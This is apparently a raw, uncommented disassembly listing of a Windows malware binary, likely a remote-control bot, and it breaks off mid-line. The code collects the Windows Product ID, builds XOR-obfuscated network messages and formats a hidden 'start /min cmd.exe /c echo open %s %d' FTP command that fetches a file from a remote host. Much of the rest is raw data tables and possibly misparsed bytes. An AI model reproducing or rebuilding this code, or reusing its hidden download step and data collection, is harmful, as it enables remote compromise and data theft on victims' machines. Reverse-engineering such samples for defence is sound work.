[esp+158h+var_110], 80h nop call near ptr 292023Dh mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 28D0000h test eax, eax jnz short loc_435C5C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 18h loc_435C5C: ; CODE XREF: sub_4356F0+539j mov eax, [esp+144h+var_12C] push eax loc_435C61: ; CODE XREF: sub_4356F0+4D2j nop call near ptr 28F035Eh loc_435C67: ; CODE XREF: sub_4356F0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4356F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435E00 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_435E1D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_435E13: ; CODE XREF: sub_435E00+1Bj cmp [eax+edx], cl jz short loc_435E21 inc eax cmp eax, esi jl short loc_435E13 loc_435E1D: ; CODE XREF: sub_435E00+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_435E21: ; CODE XREF: sub_435E00+16j pop esi mov al, 1 retn sub_435E00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_435E40: ; CODE XREF: ___:00401429j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h call near ptr 71AB2B66h nop mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_435EFC push ebx push ebp call eax add esp, 8 loc_435EFC: ; CODE XREF: ___:00435EF3j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_435F3E: ; CODE XREF: ___:00435FB7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_435FB9 loc_435F7E: ; CODE XREF: ___:00435F4Cj ; ___:00435F5Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_435FB0 loc_435FA3: ; CODE XREF: ___:00435FAEj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_435FA3 loc_435FB0: ; CODE XREF: ___:00435FA1j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_435F3E ; --------------------------------------------------------------------------- loc_435FB9: ; CODE XREF: ___:00435F7Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4360A0: ; CODE XREF: ___:00401D61j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_436152 push ebx push ebp call eax add esp, 8 loc_436152: ; CODE XREF: ___:00436149j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436194: ; CODE XREF: ___:0043620Dj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_43620F loc_4361D4: ; CODE XREF: ___:004361A2j ; ___:004361B2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_436206 loc_4361F9: ; CODE XREF: ___:00436204j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4361F9 loc_436206: ; CODE XREF: ___:004361F7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_436194 ; --------------------------------------------------------------------------- loc_43620F: ; CODE XREF: ___:004361D2j mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_436300: ; CODE XREF: ___:00401FE1j mov eax, 200Ch call sub_436840 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5EA1BD lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_436402 push ebx push ebp call eax add esp, 8 loc_436402: ; CODE XREF: ___:004363F9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436444: ; CODE XREF: ___:004364BDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4364BF loc_436484: ; CODE XREF: ___:00436452j ; ___:00436462j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4364B6 loc_4364A9: ; CODE XREF: ___:004364B4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4364A9 loc_4364B6: ; CODE XREF: ___:004364A7j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_436444 ; --------------------------------------------------------------------------- loc_4364BF: ; CODE XREF: ___:00436482j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4365C0: ; CODE XREF: ___:00401910j push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_446BC7+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43663D push ebx push ebp call eax add esp, 8 loc_43663D: ; CODE XREF: ___:00436634j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43667F: ; CODE XREF: ___:004366F8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4366FA loc_4366BF: ; CODE XREF: ___:0043668Dj ; ___:0043669Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4366F1 loc_4366E4: ; CODE XREF: ___:004366EFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4366E4 loc_4366F1: ; CODE XREF: ___:004366E2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43667F ; --------------------------------------------------------------------------- loc_4366FA: ; CODE XREF: ___:004366BDj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j ; SEH_4036D0+5j ... nop jmp near ptr 77C227FAh sub_4367C8 endp ; --------------------------------------------------------------------------- align 10h dword_4367D0 dd 7FF738E9h, 3DE94677h, 88777E57h, 7F2BE6E9h ; ___:0043E018o ... db 77h, 79h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367E2 proc near ; CODE XREF: ___:00406BE0p ; sub_406C00+11p ... nop jmp near ptr 77C29CDDh sub_4367E2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0A2h, 12h dd 6DE97781h, 0A4778114h, 14EBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367FA proc near ; CODE XREF: sub_406C30+47p ; ___:00406CCAp ... nop jmp near ptr 77C29CC5h sub_4367FA endp ; --------------------------------------------------------------------------- dword_436800 dd 7EACE2E9h, 0C18BE377h, 0E1D400C7h, 4C20043h, 0F18B5600h dd 3B3E8h, 2444F600h, 7740108h, 0FFBCE856h, 8B59FFFFh dd 4C25EC6h, 0C2C18B00h db 4, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436832 proc near ; CODE XREF: sub_409580+4Dp ; ___:0040A99Dp nop jmp near ptr 77C226F6h sub_436832 endp ; --------------------------------------------------------------------------- dd 80974DE9h, 0CCCC7477h ; =============== S U B R O U T I N E ======================================= sub_436840 proc near ; CODE XREF: sub_40A030+5p ; sub_40FF60+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_436860 loc_43684C: ; CODE XREF: sub_436840+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_43684C loc_436860: ; CODE XREF: sub_436840+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_436840 endp ; --------------------------------------------------------------------------- db 0CCh db 90h db 0E9h, 0EAh, 0Dh dd 0E9907781h, 777E6714h, 91F4E990h, 0C9E97780h, 7B778111h dd 35F0E990h, 0E9907780h, 7781108Ch, 5B6DE990h, 3D83777Fh dd 50E9D4h, 0FF0C75FFh, 90042474h, 7FE54BE8h, 68C35977h dd 50E9C4h, 50E9D468h, 2474FF00h, 310E80Ch, 0C4830000h dd 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h dd 593DE990h, 0E990777Fh, 778008D8h, 8E9E990h db 80h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4368EA proc near ; CODE XREF: sub_4198C0+28p jmp near ptr 77C4FA10h sub_4368EA endp ; --------------------------------------------------------------------------- db 8Dh ; =============== S U B R O U T I N E ======================================= sub_4368F0 proc near ; CODE XREF: sub_41B820+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_436911 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_436961 ; --------------------------------------------------------------------------- loc_436911: ; CODE XREF: sub_4368F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_43691F: ; CODE XREF: sub_4368F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_43691F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_43694A cmp edx, [esp+4+arg_4] ja short loc_43694A jb short loc_436952 cmp eax, [esp+4+arg_0] jbe short loc_436952 loc_43694A: ; CODE XREF: sub_4368F0+4Aj ; sub_4368F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_436952: ; CODE XREF: sub_4368F0+52j ; sub_4368F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_436961: ; CODE XREF: sub_4368F0+1Fj pop ebx retn 10h sub_4368F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_436970 proc near ; CODE XREF: sub_41B820+30p ; sub_41B820+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_436992 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4369D3 ; --------------------------------------------------------------------------- loc_436992: ; CODE XREF: sub_436970+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4369A0: ; CODE XREF: sub_436970+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4369A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4369CE cmp edx, [esp+8+arg_4] ja short loc_4369CE jb short loc_4369CF cmp eax, [esp+8+arg_0] jbe short loc_4369CF loc_4369CE: ; CODE XREF: sub_436970+4Ej ; sub_436970+54j dec esi loc_4369CF: ; CODE XREF: sub_436970+56j ; sub_436970+5Cj xor edx, edx mov eax, esi loc_4369D3: ; CODE XREF: sub_436970+20j pop esi pop ebx retn 10h sub_436970 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0D3h, 0A0h dd 0E9907780h, 7780862Ch, 811478E9h, 87E9C777h, 0E17780A4h dd 0A805E990h, 0E9907780h, 7780AB78h, 0A99AE990h, 0E9907780h dd 7780AD33h, 11D2E990h, 0E9907781h, 7780B15Eh, 84DCE990h dd 0E9907780h, 7780A3F3h, 569DE990h, 0E990777Fh, 777E5B35h dd 3C0E990h, 0C3E97780h, 46778007h, 7E887FE9h, 0EEE99C77h dd 0C77808Eh, 0AE20E990h, 0E9907780h, 7780398Bh, 38B1E990h dd 0E9907780h, 778126B7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436A5C proc near ; CODE XREF: ___:0043168Cp nop jmp near ptr 77C3619Ch sub_436A5C endp ; --------------------------------------------------------------------------- dw 0DE9h dword_436A64 dd 7B778003h, 0A143E990h, 0A06C7780h, 2DABB33Ch, 5626025Ch dd 4C13B1E7h, 0A164D2h, 50000000h, 258964h, 83000000h dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FE8DCh dd 0D835990h, 50E9C4h, 0D40D83FFh, 0FF0050E9h, 8725E890h dd 0D8B777Eh, 50E8D8h, 0E8900889h, 777E86E0h, 0E8D40D8Bh dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9B8h, 12EE8h, 0F01D3900h dd 7500446Ch, 6C08680Ch, 86E80043h, 9077816Bh, 0FAE859h dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8D0A100h, 45890050h dd 94458D94h, 0CC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22C95CBh, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 243B163h dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0CFE88875h, 90778032h, 0AC96E990h, 7AE9777Eh, 80777FE2h dd 32BCE990h, 0CBE97780h, 67777FC1h, 8301E990h, 0E990777Eh dd 77803177h, 3000068h, 6800h, 25E80001h, 59000000h, 0E990C359h dd 77816A6Dh, 0C3C3C033h, 8592E990h, 0C4E9777Eh, 4E777E85h dd 7FE75FE9h, 0E9901377h, 777FF070h, 8205E990h, 3CE97781h dd 0E875C697h, 9819E990h, 0E99075C6h, 75C5B3F2h, 8843E990h dd 0E99075C5h, 75C697E8h, 0B319E990h, 0E99075C4h, 75C54BF8h dd 0C60A56E9h, 85E92A75h, 0FF75C4EEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep jmp near ptr 76D6AC1Dh sub_436C60 endp ; --------------------------------------------------------------------------- db 0A6h, 90h, 0E9h dd 2399B96h, 9C39E990h, 89E90239h, 2023A93h, 9899E990h dd 7DE9023Ah, 6F023B93h, 0A3E4E990h, 0E990023Bh, 23C9370h dd 3D936BE9h, 0BDE9E802h, 80023DA8h, 3DAA88E9h, 0E990E602h dd 23DAE81h, 3DB161E9h, 4DE91302h, 32023E93h, 9B41E990h dd 41E9023Eh, 0E023F93h, 933AE990h, 7BE90240h, 4602409Fh dd 932EE990h, 0E9900241h, 24195A4h, 9322E990h, 1DE90242h dd 71024393h, 0A48CE990h, 0E9900243h, 243B00Fh, 44930BE9h dd 35E9E802h, 1102449Ah, 9FB5E990h, 0E9900244h, 24592F8h dd 92F2E990h, 0E9900239h, 2389B7Ch, 92E6E990h, 0E1E90238h dd 0AE023792h, 369BBEE9h, 0E990BB02h, 23692D4h, 92CEE990h dd 0D7E90235h, 0E023499h, 34966DE9h, 0E990E802h, 23492BCh dd 339BD7E9h, 0E990DE02h, 22C92B0h, 95C0E990h, 7BE90233h dd 0FF023395h, 955BE990h, 0E9900233h, 7C4CA385h, 4CA298E9h dd 0E990027Ch, 233928Ch, 32A146E9h, 0DEE9DE02h, 0DE02329Ah dd 3298F1E9h, 0E9902802h, 2329865h, 9715E990h, 18E90232h dd 0BD023296h, 9465E990h, 0E9900232h, 232925Ch, 9EEDE990h dd 0E9900231h, 2319D46h, 319C35E9h, 0E9902802h, 2319830h dd 3197CEE9h, 0E9907602h, 2319238h, 30A129E9h, 0E9907602h dd 2309DCEh, 9C04E990h, 0E9900230h, 2309910h, 3096CFE9h dd 0E9901602h, 2309214h, 9B0DE990h, 0E990022Fh, 22F9AA9h dd 9403E990h, 0E990022Fh, 22F91FCh, 2E9E05E9h, 0E9907B02h dd 22E9A6Fh, 2E9308E9h, 0E5E95802h, 28022E91h, 9F19E990h dd 0AEE9022Dh, 16022D9Bh, 2D995EE9h, 0E9908002h, 22D91CCh dd 9309E990h, 7EE9022Ch, 4E001B33h, 94F3E990h, 7BE90245h dd 0A1024FA5h, 950CE990h, 0E990024Bh, 24F91A8h, 93DFE990h dd 9DE9024Eh, 28024E91h, 9196E990h, 0E990024Dh, 24C9AD4h dd 4C97F3E9h, 0E9905502h, 24C9506h, 4C917FE9h, 0E9903902h dd 24B9D95h, 4B9A26E9h, 0E990B802h, 24596E0h, 9166E990h dd 0E990024Bh, 24A9A0Ch, 95EBE990h, 0E990024Ah, 24A9154h dd 914EE990h, 0E9900249h, 2489148h, 0AD8CE990h, 59E90247h dd 0EB0247AAh, 47A84EE9h, 80E95002h, 4B0247A6h, 912AE990h dd 0E9900247h, 2469124h, 0A22EE990h, 0E9907C60h, 7167D059h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p jmp near ptr 71AB4FD4h sub_436EE8 endp ; --------------------------------------------------------------------------- db 7Bh, 0E9h, 86h dd 67716875h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p nop jmp near ptr 71AB2BF4h sub_436EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p ; sub_42DC70+4Fp nop jmp near ptr 71AB615Ah sub_436EFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap ; sub_42DD50+45p ... jmp near ptr 71AB428Ah sub_436F00 endp ; --------------------------------------------------------------------------- db 0D9h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F06 proc near ; CODE XREF: sub_42DFD0+53p ; sub_42DFD0+96p ... nop jmp near ptr 71AB9639h sub_436F06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F0C proc near nop jmp near ptr 71AC1028h sub_436F0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F12 proc near ; CODE XREF: sub_42CE80+71p ; sub_42DA60+50p jmp near ptr 71AB2DC0h sub_436F12 endp ; --------------------------------------------------------------------------- db 0F5h db 90h db 0E9h, 0A2h, 0BCh db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F1E proc near nop jmp near ptr 71AB88D3h sub_436F1E endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 3Ch, 0BCh db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F2A proc near ; CODE XREF: sub_42D580+187p nop jmp near ptr 71AB951Eh sub_436F2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F30 proc near nop jmp near ptr 71AB3E00h sub_436F30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F36 proc near ; CODE XREF: sub_42C810+B1p nop jmp near ptr 71AB2B66h sub_436F36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F3C proc near ; CODE XREF: ___:0042C93Fp ; sub_42D580+152p nop jmp near ptr 71AB3B91h sub_436F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F42 proc near jmp near ptr 71AB406Ah sub_436F42 endp ; --------------------------------------------------------------------------- db 37h db 90h db 0E9h, 0DAh, 0D4h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F4E proc 